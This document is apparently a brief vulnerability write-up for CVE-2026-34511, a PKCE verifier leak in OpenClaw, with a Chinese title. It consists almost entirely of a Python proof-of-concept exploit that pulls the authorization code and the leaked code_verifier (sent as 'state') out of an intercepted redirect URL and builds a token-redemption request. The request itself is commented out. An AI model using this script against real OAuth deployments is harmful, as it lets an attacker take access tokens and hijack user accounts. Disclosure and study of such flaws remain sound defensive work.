CVE-2026-34511 OpenClaw PKCE验证器泄露漏洞

import requests # Simulate the token redemption using leaked parameters from the redirect URL # Exploit scenario: Attacker intercepts the redirect URL containing 'code' and 'state' # where 'state' is actually the 'code_verifier'. def exploit_token_redemption(leaked_redirect_url, token_endpoint, client_id): """ Exploit the PKCE bypass by redeeming the token using the leaked verifier. """ # Parse the leaked URL to extract authorization code and verifier (state) # Example URL: https://callback.com/?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz123 # Note: In this vulnerable app, 'state' == 'code_verifier' print(f"[*] Intercepted Redirect URL: {leaked_redirect_url}") # Extract parameters (parsing logic simplified for PoC) # In a real attack, parse the query string params = {p.split('=')[0]: p.split('=')[1] for p in leaked_redirect_url.split('?')[1].split('&')} auth_code = params.get('code') code_verifier = params.get('state') # The vulnerability: state is the verifier if not auth_code or not code_verifier: print("[-] Could not extract required parameters from URL.") return print(f"[+] Leaked Authorization Code: {auth_code}") print(f"[+] Leaked PKCE Verifier (from state): {code_verifier}") # Payload to redeem the token data = { 'grant_type': 'authorization_code', 'code': auth_code, 'redirect_uri': 'https://callback.com/', 'client_id': client_id, 'code_verifier': code_verifier # Using the leaked verifier } print(f"[*] Sending token redemption request to {token_endpoint}...") # response = requests.post(token_endpoint, data=data) # Actual request # print(f"[+] Response: {response.json()}") print("[+] Exploit logic executed. If valid, access token granted.") # Example Usage # exploit_token_redemption( # "https://app.com/callback?code=auth_code_secret&state=pkce_verifier_secret", # "https://oauth.provider.com/token", # "client_id_value" # )